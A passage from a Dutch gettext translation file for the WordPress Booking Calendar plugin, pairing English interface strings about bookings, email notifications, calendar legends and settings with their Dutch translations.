reservation %s for: %s has been modified. %sYou can edit this booking on this page: %s Thank you, %s" msgstr "De boeking %s voor: %s is aangepast.%sU kunt de boeking eventueel bewerken op deze pagina: %s Bedankt, %s" #: core/admin/api-settings.php:193 core/lang/wpbc_all_translations.php:24 #: core/wpbc-activation.php:1061 msgid "Booked Times:" msgstr "Geboekte tijden:" #: core/lang/wpbc_all_translations.php:656 core/wpbc-activation.php:1370 msgid "This booking canceled because we did not receive payment and the administrator did not approve it." msgstr "Deze boeking werd geannuleerd omdat we geen betaling ontvingen en de beheerder de boeking daardoor heeft geweigerd." #: core/lang/wpbc_all_translations.php:657 core/wpbc-activation.php:1406 msgid "You need to make payment for this reservation" msgstr "Deze boeking moet nog betaald worden" #: core/lang/wpbc_all_translations.php:658 core/wpbc-activation.php:1407 msgid "You need to make payment %s for reservation %s at %s. %s Please make payment on this page: %s Thank you, %s" msgstr "De betaling %s voor boeking %s te %s moet nog worden gedaan. %s Voer uw betaling a.u.b. in op deze pagina: %s Bedankt, %s" #: core/lang/wpbc_all_translations.php:659 core/wpbc-activation.php:1446 msgid "Cost: " msgstr "Kosten: " #: core/lang/wpbc_all_translations.php:660 core/wpbc-activation.php:1481 msgid "Available: " msgstr "Beschikbaar: " #: core/lang/wpbc_all_translations.php:926 msgid "Advanced Cost" msgstr "Geavanceerde kosten" #: core/lang/wpbc_all_translations.php:789 msgid "Coupons" msgstr "Coupons" #: core/lang/wpbc_all_translations1.php:5 msgid "Season Filters" msgstr "Speciale periode" #: core/lang/wpbc_all_translations.php:738 core/wpbc_functions.php:2157 msgid "If you like %s please leave us a %s rating. A huge thank you in advance!" msgstr "Bent u tevreden over het boekingssysteem? %s Deel het met anderen %s . Bij voorbaat dank!" #: core/lang/wpbc_all_translations.php:725 core/wpbc.php:362 core/wpbc.php:369 msgid "Action is not allowed!" msgstr "Deze actie is niet toegestaan!" #: core/admin/page-email-approved.php:178 core/admin/page-email-deleted.php:179 #: core/admin/page-email-deny.php:179 core/admin/page-email-new-admin.php:177 #: core/admin/page-email-new-visitor.php:177 #: core/admin/page-email-trash.php:179 core/lang/wpbc_all_translations.php:193 msgid "Enable this email notification" msgstr "Schakel deze emailmelding in" #: core/admin/page-email-approved.php:215 #: core/admin/page-email-approved.php:272 core/admin/page-email-deleted.php:215 #: core/admin/page-email-deleted.php:272 core/admin/page-email-deny.php:217 #: core/admin/page-email-deny.php:272 core/admin/page-email-new-admin.php:200 #: core/admin/page-email-new-admin.php:252 #: core/admin/page-email-new-visitor.php:254 #: core/admin/page-email-trash.php:215 core/admin/page-email-trash.php:277 #: core/lang/wpbc_all_translations.php:197 msgid "Email Address" msgstr "Emailadres" #: core/lang/wpbc_all_translations.php:527 msgid "Type your email message content. " msgstr "Typ de inhoud van je emailbericht. " #: core/admin/page-email-approved.php:381 core/admin/page-email-deleted.php:378 #: core/admin/page-email-deny.php:378 core/admin/page-email-new-admin.php:361 #: core/admin/page-email-new-visitor.php:362 #: core/admin/page-email-trash.php:383 core/lang/wpbc_all_translations.php:209 msgid "Email Heading" msgstr "Email titel" #: core/admin/page-email-approved.php:382 core/admin/page-email-deleted.php:379 #: core/admin/page-email-deny.php:379 core/admin/page-email-new-admin.php:362 #: core/admin/page-email-new-visitor.php:363 #: core/admin/page-email-trash.php:384 core/lang/wpbc_all_translations.php:210 msgid "Enter main heading contained within the email notification." msgstr "Voer de kop in voor de emailmelding." #: core/admin/page-email-approved.php:391 core/admin/page-email-deleted.php:388 #: core/admin/page-email-deny.php:388 core/admin/page-email-new-admin.php:371 #: core/admin/page-email-new-visitor.php:372 #: core/admin/page-email-trash.php:393 core/lang/wpbc_all_translations.php:211 msgid "Email Footer Text" msgstr "Email voettekst" #: core/admin/page-email-approved.php:392 core/admin/page-email-deleted.php:389 #: core/admin/page-email-deny.php:389 core/admin/page-email-new-admin.php:372 #: core/admin/page-email-new-visitor.php:373 #: core/admin/page-email-trash.php:394 core/lang/wpbc_all_translations.php:212 msgid "Enter text contained within footer of the email notification" msgstr "Voer een voettekst in voor de emailmelding" #: core/admin/page-email-approved.php:403 core/admin/page-email-deleted.php:400 #: core/admin/page-email-deny.php:400 core/admin/page-email-new-admin.php:383 #: core/admin/page-email-new-visitor.php:384 #: core/admin/page-email-trash.php:405 core/lang/wpbc_all_translations.php:214 msgid "Choose email template." msgstr "Kies emailsjabloon." #: core/admin/page-email-approved.php:415 core/admin/page-email-deleted.php:412 #: core/admin/page-email-deny.php:412 core/admin/page-email-new-admin.php:395 #: core/admin/page-email-new-visitor.php:396 #: core/admin/page-email-trash.php:417 core/lang/wpbc_all_translations.php:217 msgid "You can override this email template in this folder %s" msgstr "Je kunt dit emailsjabloon overschrijven in deze map %s" #: core/admin/page-email-approved.php:426 core/admin/page-email-deleted.php:423 #: core/admin/page-email-deny.php:423 core/admin/page-email-new-admin.php:406 #: core/admin/page-email-new-visitor.php:407 #: core/admin/page-email-trash.php:428 core/lang/wpbc_all_translations.php:219 msgid "The base color for email templates." msgstr "De basiskleur voor emailsjablonen." #: core/admin/page-email-approved.php:435 core/admin/page-email-deleted.php:432 #: core/admin/page-email-deny.php:432 core/admin/page-email-new-admin.php:415 #: core/admin/page-email-new-visitor.php:416 #: core/admin/page-email-trash.php:437 core/lang/wpbc_all_translations.php:222 msgid "The background color for email templates." msgstr "De achtergrondkleur voor emailsjablonen." #: core/admin/page-email-approved.php:443 core/admin/page-email-deleted.php:440 #: core/admin/page-email-deny.php:440 core/admin/page-email-new-admin.php:423 #: core/admin/page-email-new-visitor.php:424 #: core/admin/page-email-trash.php:445 core/lang/wpbc_all_translations.php:223 msgid "Email Body Background Color" msgstr "Email achtergrondkleur" #: core/admin/page-email-approved.php:444 core/admin/page-email-deleted.php:441 #: core/admin/page-email-deny.php:441 core/admin/page-email-new-admin.php:424 #: core/admin/page-email-new-visitor.php:425 #: core/admin/page-email-trash.php:446 core/lang/wpbc_all_translations.php:224 msgid "The main body background color for email templates." msgstr "De hoofdachtergrondkleur voor emailsjablonen." #: core/admin/page-email-approved.php:452 core/admin/page-email-deleted.php:449 #: core/admin/page-email-deny.php:449 core/admin/page-email-new-admin.php:432 #: core/admin/page-email-new-visitor.php:433 #: core/admin/page-email-trash.php:454 core/lang/wpbc_all_translations.php:225 msgid "Email Body Text Colour" msgstr "Email tekstkleur" #: core/admin/page-email-approved.php:453 core/admin/page-email-deleted.php:450 #: core/admin/page-email-deny.php:450 core/admin/page-email-new-admin.php:433 #: core/admin/page-email-new-visitor.php:434 #: core/admin/page-email-trash.php:455 core/lang/wpbc_all_translations.php:226 msgid "The main body text color for email templates." msgstr "De hoofdtekstkleur voor emailsjablonen." #: core/admin/page-email-approved.php:468 core/admin/page-email-deleted.php:465 #: core/admin/page-email-deny.php:465 core/admin/page-email-new-admin.php:448 #: core/admin/page-email-new-visitor.php:449 #: core/admin/page-email-trash.php:470 core/lang/wpbc_all_translations.php:227 msgid "Email format" msgstr "Email-indeling" #: core/admin/page-email-approved.php:469 core/admin/page-email-deleted.php:466 #: core/admin/page-email-deny.php:466 core/admin/page-email-new-admin.php:449 #: core/admin/page-email-new-visitor.php:450 #: core/admin/page-email-trash.php:471 core/lang/wpbc_all_translations.php:228 msgid "Choose which format of email to send." msgstr "Kies in welk formaat de email verzonden wordt." #: core/admin/page-email-approved.php:481 core/admin/page-email-deleted.php:478 #: core/admin/page-email-deny.php:478 core/admin/page-email-new-admin.php:461 #: core/admin/page-email-new-visitor.php:462 #: core/admin/page-email-trash.php:483 core/lang/wpbc_all_translations.php:231 msgid "Multipart" msgstr "Meerdelige" #: core/admin/page-email-approved.php:695 core/admin/page-email-deleted.php:693 #: core/admin/page-email-deny.php:691 core/admin/page-email-new-admin.php:676 #: core/admin/page-email-new-visitor.php:669 #: core/admin/page-email-trash.php:698 core/lang/wpbc_all_translations.php:242 msgid "Header / Footer" msgstr "Kop- / Voettekst" #: core/admin/page-email-approved.php:687 core/admin/page-email-deleted.php:685 #: core/admin/page-email-deny.php:683 core/admin/page-email-new-admin.php:668 #: core/admin/page-email-new-visitor.php:661 #: core/admin/page-email-trash.php:690 core/lang/wpbc_all_translations.php:241 msgid "Email Styles" msgstr "Emailstijlen" #: core/lang/wpbc_all_translations.php:529 msgid "Send Test Email" msgstr "Verstuur een test-email" #: core/lang/wpbc_all_translations.php:530 msgid "Email sent to " msgstr "Email verzonden aan " #: core/admin/page-email-approved.php:818 #: core/admin/page-email-approved.php:821 core/admin/page-email-deleted.php:816 #: core/admin/page-email-deleted.php:819 core/admin/page-email-deny.php:813 #: core/admin/page-email-deny.php:816 core/admin/page-email-new-admin.php:797 #: core/admin/page-email-new-admin.php:800 #: core/admin/page-email-new-visitor.php:791 #: core/admin/page-email-new-visitor.php:794 #: core/admin/page-email-trash.php:821 core/admin/page-email-trash.php:824 #: core/lang/wpbc_all_translations.php:245 msgid "If empty then title defined as WordPress" msgstr "Als dit wordt leeggelaten, zal de titel worden ingesteld als WordPress" #: core/admin/page-email-new-admin.php:641 #: core/lang/wpbc_all_translations.php:260 msgid "Email is sending to Admin after creation of booking." msgstr "Email dat wordt verzonden naar de beheerder na het aanmaken van een nieuwe boeking." #: core/admin/page-email-new-visitor.php:558 #: core/lang/wpbc_all_translations.php:263 msgid "visitor" msgstr "klant" #: core/admin/page-email-new-visitor.php:634 #: core/lang/wpbc_all_translations.php:265 msgid "Email is sending to Visitor after creation of booking." msgstr "Email dat wordt verzonden naar de klant na het aanmaken van een boeking." #: core/lang/wpbc_all_translations.php:565 #: core/timeline/v2/wpbc-class-timeline_v2.php:2948 #: core/timeline/v2/wpbc-class-timeline_v2.php:2999 #: includes/page-form-simple/page-form-simple.php:1940 #: includes/page-form-simple/page-form-simple.php:2342 #: includes/page-form-simple/page-form-simple.php:2403 msgid "Edit" msgstr "Bepaal" #: core/lang/wpbc_all_translations.php:567 #: includes/page-form-simple/page-form-simple.php:2579 msgid "You can generate the form fields for your form (at the left side) by selection specific field in the above selectbox." msgstr "Je kunt de velden voor je formulier genereren (aan de linkerkant) door specifieke velden in bovenstaand selectievak te selecteren." #: core/lang/wpbc_all_translations.php:568 #: includes/page-form-simple/page-form-simple.php:2580 msgid "Please read more about the booking form fields configuration %shere%s." msgstr "Lees meer over de configuratie van boekingsformuliervelden %shier%s." #: core/lang/wpbc_all_translations.php:569 #: includes/page-form-simple/page-form-simple.php:2582 msgid "Default Form Templates" msgstr "Standaard formuliersjablonen" #: core/lang/wpbc_all_translations.php:572 #: includes/page-form-simple/page-form-simple.php:2737 msgid "Show / hide field in booking form" msgstr "Toon/verberg veld in het boekingsformulier" #: core/lang/wpbc_all_translations.php:573 #: includes/page-form-simple/page-form-simple.php:2758 msgid "Set field as required" msgstr "Stel het veld in als verplicht" #: core/lang/wpbc_all_translations.php:575 #: includes/page-form-simple/page-form-simple.php:2807 msgid "Type only %sunique field name%s, that is not using in form" msgstr "Typ enkel %sunieke veldnaam%s, die niet in het formulier gebruikt wordt" #: core/admin/page-ics-import.php:440 core/admin/wpbc-sql.php:607 #: core/lang/wpbc_all_translations.php:317 msgid "parent resource" msgstr "hoofdobject" #: core/admin/page-settings.php:466 core/lang/wpbc_all_translations.php:425 msgid "Auto cancellation / auto approval of bookings" msgstr "Automatische annulering/acceptatie van boekingen" #: core/admin/api-settings.php:682 core/lang/wpbc_all_translations.php:72 #: core/wpbc_functions.php:2080 includes/page-customize/customize__page.php:100 #: includes/page-form-simple/page-form-simple.php:59 #: includes/page-form-simple/page-form-simple.php:672 #: includes/page-setup/setup__page.php:100 #: includes/publish/wpbc-create-pages.php:164 #: includes/publish/wpbc-create-pages.php:330 #: includes/ui_modal__shortcodes/sh_tpl_booking.php:310 #: js/wpbc-gutenberg.js:612 msgid "Booking Form" msgstr "Boekingsformulier" #: core/lang/wpbc_all_translations1.php:821 #: includes/ui_modal__shortcodes/sh_tpl_booking.php:51 #: includes/ui_modal__shortcodes/sh_tpl_booking_select.php:187 msgid "Resource Selection" msgstr "Selectie van gegevensbronnen" #: core/lang/wpbc_all_translations1.php:822 #: includes/ui_modal__shortcodes/sh_tpl_booking.php:58 msgid "Only Form" msgstr "Alleen het formulier" #: core/lang/wpbc_all_translations1.php:934 #: includes/ui_modal__shortcodes/sh_tpl_booking_timeline.php:159 msgid "Select type of view format." msgstr "Selecteer het type van het weergave formaat." #: core/lang/wpbc_all_translations1.php:938 #: includes/ui_modal__shortcodes/sh_tpl_booking_timeline.php:241 msgid "Select number of months to scroll after loading" msgstr "Selecteer het aantal maanden om door te scrollen na het laden" #: core/lang/wpbc_all_translations1.php:55 msgid "Select default custom booking form" msgstr "Selecteer standaard eigen boekingsformulier" #: core/lang/wpbc_all_translations1.php:842 #: includes/ui_modal__shortcodes/sh_tpl_booking.php:582 #: includes/ui_modal__shortcodes/sh_tpl_booking.php:596 msgid "Aggregate booking dates from other resources" msgstr "Voeg boekingsdata van andere objecten samen" #: core/lang/wpbc_all_translations.php:858 msgid "Note!" msgstr "Attentie!" #: core/lang/wpbc_all_translations1.php:431 msgid "Select booking resources, for showing in selectbox. Please use CTRL to select multiple booking resources." msgstr "Selecteer objecten om in het selectievak weer te geven. Gebruik CTRL om verschillende objecten te selecteren." #: core/lang/wpbc_all_translations1.php:432 #: includes/ui_modal__shortcodes/sh_tpl_booking_select.php:257 msgid "Preselected resource" msgstr "Voorgeselecteerd object" #: core/lang/wpbc_all_translations1.php:929 #: includes/ui_modal__shortcodes/sh_tpl_booking_select.php:369 msgid "Please select the resource:" msgstr "Selecteer het object:" #: core/lang/wpbc_all_translations1.php:419 #: includes/ui_modal__shortcodes/sh_tpl_booking.php:1103 #: js/wpbc-gutenberg.js:893 msgid "Please Select" msgstr "Selecteer" #: core/lang/wpbc_all_translations1.php:435 msgid "First option in dropdown list." msgstr "Eerste optie in de keuzelijst." #: core/lang/wpbc_all_translations1.php:917 #: includes/ui_modal__shortcodes/sh_tpl_booking_search.php:245 msgid "Check this box to show search results on other page" msgstr "Vink aan om de zoekresultaten op een andere pagina weer te geven" #: core/lang/wpbc_all_translations1.php:919 #: includes/ui_modal__shortcodes/sh_tpl_booking_search.php:277 msgid "Type the URL of search results page." msgstr "Typ de URL van zoekresultatenpagina." #: core/lang/wpbc_all_translations1.php:912 #: includes/ui_modal__shortcodes/sh_tpl_booking_search.php:182 msgid "Title of Search results" msgstr "Titel van de zoekresultaten" #: core/lang/wpbc_all_translations1.php:914 #: includes/ui_modal__shortcodes/sh_tpl_booking_search.php:213 msgid "Nothing Found Message" msgstr "Niets gevonden bericht" #: core/lang/wpbc_all_translations1.php:915 #: includes/ui_modal__shortcodes/sh_tpl_booking_search.php:214 msgid "Type the message, when nothing found." msgstr "Typ het bericht in het geval er niets gevonden is." #: core/lang/wpbc_all_translations2.php:88 #: includes/page-bookings/bookings__actions.php:2447 msgid "Edit Booking" msgstr "De boeking bewerken" #: core/lang/wpbc_all_translations1.php:908 #: includes/ui_modal__shortcodes/sh_tpl_booking_other.php:197 msgid "Show info about Booking Resource" msgstr "Geef meer informatie over het object" #: core/lang/wpbc_all_translations1.php:897 #: includes/ui_modal__shortcodes/sh_tpl_booking_other.php:58 msgid "This shortcode %s is used on a page, where visitors can %smodify%s their own booking(s), %scancel%s or make %spayment%s after receiving an admin email payment request" msgstr "Deze shortcode %s wordt op een pagina gebruikt waar klanten hun eigen boeking kunnen %saanpassen%s, %sannuleren%s of %sbetalen%s nadat ze per e-mail een betaalverzoek van de beheerder gekregen hebben" #: core/lang/wpbc_all_translations1.php:898 #: includes/ui_modal__shortcodes/sh_tpl_booking_other.php:59 msgid "The content of field %sURL to edit bookings%s on the %sgeneral booking settings page%s must link to this page" msgstr "De inhoud van veld %sURL om boekingen te bewerken%s op de %salgemene instellingen pagina%s moet naar deze pagina linken" #: core/lang/wpbc_all_translations1.php:899 #: includes/ui_modal__shortcodes/sh_tpl_booking_other.php:60 #: includes/ui_modal__shortcodes/sh_tpl_booking_other.php:67 msgid "Email templates, which use shortcodes: %s, will be linked to this page" msgstr "Email sjablonen die shortcodes gebruiken: %s, zullen gelinkt worden naar deze pagina" #: core/lang/wpbc_all_translations1.php:904 #: includes/ui_modal__shortcodes/sh_tpl_booking_other.php:91 msgid "Select type of info to show." msgstr "Selecteer het type info om weer te geven." #: core/lang/wpbc_all_translations.php:531 core/wpbc-emails.php:507 msgid "Email was not sent. An error occurred." msgstr "Email niet verzonden, er heeft zich een fout voorgedaan." #: core/lang/wpbc_all_translations.php:532 msgid "Email different from website DNS, its can be a reason of not delivery emails. Please use the email withing the same domain as your website!" msgstr "E-maildomein verschillend van dat van de site (het domein). Dit kan ervoor zorgen dat mails niet aankomen. Gebruik een e-mailadres met dezelfde domeinnaam als je site!" #: core/admin/page-email-approved.php:177 core/admin/page-email-deleted.php:178 #: core/admin/page-email-deny.php:178 core/admin/page-email-new-admin.php:176 #: core/admin/page-email-new-visitor.php:176 #: core/admin/page-email-trash.php:178 core/lang/wpbc_all_translations.php:192 msgid "Enable / Disable" msgstr "In- / uitschakelen" #: core/admin/page-email-approved.php:402 core/admin/page-email-deleted.php:399 #: core/admin/page-email-deny.php:399 core/admin/page-email-new-admin.php:382 #: core/admin/page-email-new-visitor.php:383 #: core/admin/page-email-trash.php:404 core/lang/wpbc_all_translations.php:213 msgid "Email template" msgstr "E-mail template" #: core/lang/wpbc_all_translations.php:818 msgid "%s - default selection number of items, " msgstr "%s - standaard selectie aantal items, " #: core/lang/wpbc_all_translations.php:819 msgid "Example: %s - custom number of items selections\"" msgstr "Voorbeeld: %s - aangepaste selectie van het aantal items\"" #: core/lang/wpbc_all_translations.php:772 msgid "Use \"Check In\" date as available in calendar for booking resources with capacity higher than 1 for search results" msgstr "Gebruik de \"Aankomst\" datum zoals beschikbaar in de kalender voor het boeken van bronnen met een capaciteit hoger dan 1 voor zoekresultaten." #: core/lang/wpbc_all_translations.php:773 msgid "Use \"Check Out\" date as available in calendar for booking resources with capacity higher than 1 for search results" msgstr "Gebruik de \"Vertrek\" datum zoals beschikbaar in de kalender voor het boeken van bronnen met een capaciteit hoger dan 1 voor zoekresultaten." #: core/lang/wpbc_all_translations.php:546 #: includes/page-availability/availability__toolbar_ui.php:292 #: includes/page-bookings/bookings__actions.php:2918 #: includes/page-bookings/bookings__actions.php:2959 #: includes/page-form-simple/page-form-simple.php:1607 #: includes/page-form-simple/page-form-simple.php:2117 #: includes/_toolbar_ui/toolbar_ui.php:1785 #: includes/_toolbar_ui/toolbar_ui.php:1823 #: includes/_toolbar_ui/toolbar_ui.php:2213 msgid "Do you really want to do this ?" msgstr "Wil je dit echt doen?" #: core/admin/api-settings.php:1663 core/admin/page-settings.php:101 #: core/admin/page-settings.php:234 core/admin/page-settings.php:382 #: core/lang/wpbc_all_translations.php:171 core/wpbc.php:209 core/wpbc.php:210 #: core/wpbc.php:211 core/wpbc_functions.php:1919 #: includes/page-availability/availability__page.php:87 msgid "Availability" msgstr "Beschikbaarheid" #: core/lang/wpbc_all_translations.php:644 #: core/timeline/v2/wpbc-class-timeline_v2.php:2965 #: includes/page-bookings/bookings__actions.php:2956 #: includes/_toolbar_ui/toolbar_ui.php:1820 msgid "Restore" msgstr "Herstellen" #: core/lang/wpbc_all_translations.php:800 #: includes/page-bookings/bookings__actions.php:2997 msgid "Completely Delete" msgstr "Volledig verwijderen" #: core/lang/wpbc_all_translations2.php:116 #: includes/page-bookings/bookings__listing.php:251 msgid "In Trash" msgstr "In de prullenbak" #: core/lang/wpbc_all_translations1.php:995 #: includes/_toolbar_ui/toolbar_ui.php:1821 msgid "Restore selected bookings" msgstr "Herstel geselecteerde boekingen" #: core/lang/wpbc_all_translations.php:596 core/lib/wpbc-ajax.php:205 msgid "Moved to trash" msgstr "Naar de prullenbak verplaatst" #: core/lang/wpbc_all_translations.php:704 core/wpbc-js-vars.php:89 msgid "Your emails do not match" msgstr "Uw e-mails komen niet overeen" #: core/admin/api-settings.php:2029 core/admin/api-settings.php:2073 #: core/admin/api-settings.php:2110 core/lang/wpbc_all_translations.php:188 #: includes/page-bookings/bookings__actions.php:1532 msgid "Warning" msgstr "Waarschuwing" #: core/lang/wpbc_all_translations.php:821 msgid "HTML tags is accepted." msgstr "HTML-tags zijn toegelaten." #: core/lang/wpbc_all_translations.php:562 #: includes/page-form-simple/page-form-simple.php:1811 #: includes/page-form-simple/page-form-simple.php:2736 msgid "Active" msgstr "Actief" #: core/admin/page-email-approved.php:205 core/admin/page-email-deleted.php:205 #: core/admin/page-email-deny.php:207 core/admin/page-email-new-admin.php:190 #: core/admin/page-email-trash.php:205 core/lang/wpbc_all_translations.php:196 #: includes/_toolbar_ui/toolbar_ui.php:1361 msgid "To" msgstr "Aan" #: core/admin/page-email-approved.php:314 #: core/admin/page-email-approved.php:321 core/admin/page-email-deleted.php:315 #: core/admin/page-email-deleted.php:322 core/admin/page-email-deny.php:315 #: core/admin/page-email-deny.php:322 core/admin/page-email-new-admin.php:300 #: core/admin/page-email-new-admin.php:307 #: core/admin/page-email-new-visitor.php:296 #: core/admin/page-email-new-visitor.php:303 #: core/admin/page-email-trash.php:320 core/admin/page-email-trash.php:327 #: core/lang/wpbc_all_translations.php:204 msgid "Subject" msgstr "Onderwerp" #: core/admin/api-settings.php:915 core/admin/api-settings.php:923 #: core/admin/api-settings.php:1019 core/admin/api-settings.php:1029 #: core/admin/page-email-approved.php:350 #: core/admin/page-email-approved.php:357 core/admin/page-email-deleted.php:347 #: core/admin/page-email-deleted.php:354 core/admin/page-email-deny.php:347 #: core/admin/page-email-deny.php:354 core/admin/page-email-new-admin.php:327 #: core/admin/page-email-new-admin.php:336 #: core/admin/page-email-new-visitor.php:331 #: core/admin/page-email-new-visitor.php:338 #: core/admin/page-email-trash.php:352 core/admin/page-email-trash.php:359 #: core/lang/wpbc_all_translations.php:93 msgid "Content" msgstr "Inhoud" #: core/admin/api-settings.php:1207 core/lang/wpbc_all_translations.php:119 msgid "Dates view" msgstr "Toon datums" #: core/admin/api-settings.php:1210 core/lang/wpbc_all_translations.php:121 msgid "Short days view" msgstr "Smalle dagen zicht" #: core/admin/api-settings.php:1211 core/lang/wpbc_all_translations.php:122 msgid "Wide days view" msgstr "Brede dagen zicht" #: core/admin/api-settings.php:2074 core/lang/wpbc_all_translations.php:190 msgid "You are need to be sure what you are doing. You are disable of loading some JavaScripts Do you really want to do this?" msgstr "Weet u zeker wat u wilt doen? Het laden van enkele JavaScripts word uitgeschakeld. Wilt u dit echt?" #: core/admin/api-settings.php:1504 core/lang/wpbc_all_translations.php:148 msgid "Load JS and CSS files only on specific pages" msgstr "Laat JS en CSS bestanden enkel op specifieke pagina's" #: core/admin/api-settings.php:1515 core/lang/wpbc_all_translations.php:150 msgid "Relative URLs of pages, where to load plugin CSS and JS files" msgstr "Relatieve URLs van pagina's, waar plugin CSS en JS bestanden moeten geladen worden" #: core/admin/api-settings.php:1577 core/lang/wpbc_all_translations.php:159 msgid "Show settings of powered by notice" msgstr "Laat instellingen zien van het \"aangedreven door\" bericht" #: core/admin/api-settings.php:1585 core/lang/wpbc_all_translations.php:161 msgid "Powered by notice" msgstr "Aangedreven door bericht" #: core/admin/api-settings.php:1594 core/lang/wpbc_all_translations.php:163 msgid "Help and info notices" msgstr "Hulp en kennisgevingen" #: core/admin/page-settings.php:522 core/lang/wpbc_all_translations.php:428 msgid "Information" msgstr "Informatie" #: core/admin/api-settings.php:1639 core/lang/wpbc_all_translations.php:169 msgid "User permissions for plugin menu pages" msgstr "Gebruikers toestemming voor plugin menu pagina's" #: core/admin/api-settings.php:1715 core/lang/wpbc_all_translations.php:177 msgid "Select user access level for the menu pages of plugin" msgstr "Selecteer gebruikers toegangsniveau voor de menupagina's van de plugin" #: core/admin/api-settings.php:216 core/lang/wpbc_all_translations.php:27 msgid "Show legend below calendar" msgstr "Toon legenda onder de kalender" #: core/lang/wpbc_all_translations.php:563 #: includes/page-form-simple/page-form-simple.php:1812 msgid "Field Label" msgstr "Veld label" #: core/lang/wpbc_all_translations.php:577 #: includes/page-form-simple/page-form-simple.php:2833 msgid "Enter dropdown options. One option per line." msgstr "Voer dropdown opties in. Eén optie per regel." #: core/lang/wpbc_all_translations1.php:111 #: includes/ui_modal__shortcodes/sh_tpl_booking_other.php:82 #: includes/_toolbar_ui/toolbar_ui.php:303 #: includes/_toolbar_ui/toolbar_ui.php:304 #: includes/_toolbar_ui/toolbar_ui.php:1617 msgid "Cost" msgstr "Kosten" #: core/lang/wpbc_all_translations.php:841 #: includes/_pagination/pagination.php:232 msgid "ASC" msgstr "Oplopend" #: core/lang/wpbc_all_translations.php:842 #: includes/_pagination/pagination.php:233 msgid "DESC" msgstr "Aflopend" #. Author URI of the plugin #: wpdev-booking.php msgid "https://wpbookingcalendar.com/" msgstr "http://wpbookingcalendar.com/" #. Plugin URI of the plugin #: wpdev-booking.php msgid "https://wpbookingcalendar.com/demo/" msgstr "http://wpbookingcalendar.com/demo/" #: core/admin/api-settings.php:434 core/lang/wpbc_all_translations.php:46 msgid "Show date number in legend" msgstr "Toon datum in legenda" #: core/admin/api-settings.php:435 core/lang/wpbc_all_translations.php:47 msgid "Check this box to display today date number in legend cells. " msgstr "Vink dit vakje aan om de huidige datum in de cellen van de legenda weer te geven. " #: core/admin/api-settings.php:217 core/lang/wpbc_all_translations.php:28 msgid "Check this box to display a legend of dates below the booking calendar." msgstr "Vink deze checkbox aan om een legenda te laten zien onder de boekingskalender." #: core/admin/api-settings.php:229 core/lang/wpbc_all_translations.php:29 msgid "Available item" msgstr "Beschikbaar object" #: core/admin/api-settings.php:252 core/lang/wpbc_all_translations.php:31 msgid "Activate and type your %stitle of available%s item in legend" msgstr "Activeer en typ uw %stitel van beschikbaar%s item in de legenda" #: core/admin/api-settings.php:266 core/lang/wpbc_all_translations.php:32 msgid "Pending item" msgstr "Boeking in behandeling" #: core/admin/api-settings.php:289 core/lang/wpbc_all_translations.php:34 msgid "Activate and type your %stitle of pending%s item in legend" msgstr "Activeer en typ uw %stitel van item in behandeling%s in de legenda" #: core/admin/api-settings.php:303 core/lang/wpbc_all_translations.php:35 msgid "Approved item" msgstr "Boeking geaccepteerd" #: core/admin/api-settings.php:326 core/lang/wpbc_all_translations.php:37 msgid "Activate and type your %stitle of approved%s item in legend" msgstr "Activeer en typ uw %stitel van het geaccepteerde%s object in de legenda" #: core/admin/api-settings.php:343 core/lang/wpbc_all_translations.php:38 msgid "Partially booked item" msgstr "Gedeeltelijk geboekt object" #: core/admin/api-settings.php:366 core/lang/wpbc_all_translations.php:40 msgid "Activate and type your %stitle of partially booked%s item in legend" msgstr "Activeer en typ uw %stitel van het gedeeltelijk geboekte%s item in de legenda" #: core/admin/api-settings.php:369 core/admin/api-settings.php:536 #: core/lang/wpbc_all_translations.php:42 msgid "Partially booked item - day, which is booked for the specific time-slot(s)." msgstr "Gedeeltelijk geboekt - specifiek dagdeel." #: core/admin/api-settings.php:1266 core/lang/wpbc_all_translations.php:125 msgid "Type your date format for emails and the booking table. %sDocumentation on date formatting%s" msgstr "Voer de datumnotatie voor emails en de boekingstabel in. %sDocumentatie over datumnotaties%s" #: core/admin/api-settings.php:1208 core/lang/wpbc_all_translations.php:120 msgid "Select the default view for dates on the booking tables" msgstr "Selecteer de standaardweergave voor datums in de boekingstabellen" #: core/admin/api-settings.php:1356 core/lang/wpbc_all_translations.php:128 msgid "Show / hide hints" msgstr "Hint weergeven/verbergen" #: core/admin/api-settings.php:1357 core/lang/wpbc_all_translations.php:129 msgid "Check this box if you want to show help hints on the admin panel." msgstr "Vink aan als u hints wilt zien in het admin panel." #: core/admin/api-settings.php:1379 core/lang/wpbc_all_translations.php:130 msgid "Allow unlimited bookings per same day(s)" msgstr "Ongelimiteerde boekingen toestaan op dezelfde dag(en)" #: core/admin/api-settings.php:1380 core/lang/wpbc_all_translations.php:131 msgid "Check this box, if you want to %sset any days as available%s in calendar. Your visitors will be able to make %sunlimited bookings per same date(s) in calendar and do not see any booked date(s)%s of other visitors." msgstr "Vink dit vakje aan, als %salle dagen beschikbaar%s zijn om te boeken. De aanvragers kunnen %sonbegrenst boeken op dezelfde datums en kunnen door anderen geboekte datums niet zien%s." #: core/admin/api-settings.php:1505 core/lang/wpbc_all_translations.php:149 msgid "Activate loading of CSS and JavaScript files of plugin only at specific pages." msgstr "Activeer het laden van CSS en JavaScript bestanden van de plugin alleen op aangegeven pagina's." #: core/admin/api-settings.php:1516 core/lang/wpbc_all_translations.php:151 msgid "Enter relative URLs of pages, where you have Booking Calendar elements (booking forms or availability calendars). Please enter one URL per line. Example: %s" msgstr "Voer relatieve URLs van pagina's in, waar zich Booking Calendar elementen bevinden (boekingsformulieren of beschikbaarheidskalenders). Voer één URL per regel in. Bv.: %s" #: core/admin/api-settings.php:1578 core/lang/wpbc_all_translations.php:160 msgid "Hide settings of powered by notice" msgstr "Verberg instellingen van het \" mogelijk gemaakt door\" bericht" #: core/admin/api-settings.php:1586 core/lang/wpbc_all_translations.php:162 msgid " Turn On/Off powered by \"Booking Calendar\" notice under the calendar." msgstr " Activeer/Deactiveer \"mogelijk gemaakt door Booking Calendar\" melding onder de kalender." #: core/admin/api-settings.php:1595 core/lang/wpbc_all_translations.php:164 msgid " Turn On/Off version notice and help info links at booking admin panel." msgstr " Activeer/Deactiveer versie kennisgeving en hulpinfo links op admin panel." #: core/admin/api-settings.php:1748 core/lang/wpbc_all_translations.php:182 msgid "Delete booking data, when plugin deactivated" msgstr "Alle boekingsgegevens verwijderen als de plugin wordt gedeactiveerd" #: core/admin/api-settings.php:1749 core/lang/wpbc_all_translations.php:183 msgid "Check this box to delete all booking data when you uninstal this plugin." msgstr "Vink deze checkbox aan als u alle boekingsgegevens wilt verwijderen bij verwijdering van deze plugin." #: 